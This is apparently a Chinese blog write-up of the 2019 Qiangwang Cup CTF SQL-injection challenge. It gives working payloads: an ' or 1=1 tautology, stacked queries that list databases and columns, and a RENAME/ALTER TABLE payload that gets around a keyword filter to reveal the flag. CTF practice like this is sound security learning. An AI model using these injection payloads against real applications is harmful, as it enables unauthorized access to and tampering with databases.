[強網杯 2019]隨便注 1

TazmiDev發表於2024-11-08

[強網杯 2019]隨便注 1

萬能密碼上一波,回顯成功,判斷為 ' 閉合注入

?inject=1' or 1=1 --+

image-20241104231322638

( ?inject=1 union select 1,2,3 )union嘗試,根據回顯,發現存在欄位過濾,過濾了select包括where等操作

/select|update|delete|drop|insert|where|\./i

image-20241104231703485

嘗試閉合堆疊

?inject=1';show databases;

image-20241104231930874

堆疊回顯成功,並注意到資料庫 ctftraining

查詢資料表

?inject=1';show databases;use ctftraining;show tables;

image-20241104232148786

查詢FLAG_TABLE表欄位,顯示not_flag,查詢news和users皆無果,說明flag不在這個庫,轉向 supersqli

?inject=1';show databases;use ctftraining;show tables;show columns from FLAG_TABLE;

image-20241104233326834

發現兩個庫

1';show databases;use supersqli;show tables;

image-20241104235427054

查詢1919810931114514庫,發現flag,但是未顯示flag

1';show databases;use supersqli;show tables;show columns from `1919810931114514`;

image-20241104235604038

這時候需要用到select,但是被過濾了,所以選擇用換表的方式,用輸入框幫忙查

1';show databases;use supersqli;show tables;show columns from `1919810931114514`;

rename table words to abc;		修改原來的words為任意名
rename `1919810931114514` to words;		將1919810931114514代替成words
ALTER TABLE words ADD id int(10) DEFAULT '12';		往新words新增id欄位(因為1919810931114514沒有id欄位,不新增查詢出錯)
ALTER TABLE  words CHANGE flag data VARCHAR(100);	
show tables;

構造payload

1';rename table words to abc;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);show tables;


!!!這邊資料庫語句一定要注意大小寫,很邪門,小寫報錯

成功顯示出資料表資訊

image-20241105001208184

萬能密碼伺候

1' or 1=1;

成功拿到flag

image-20241105001258350

相關文章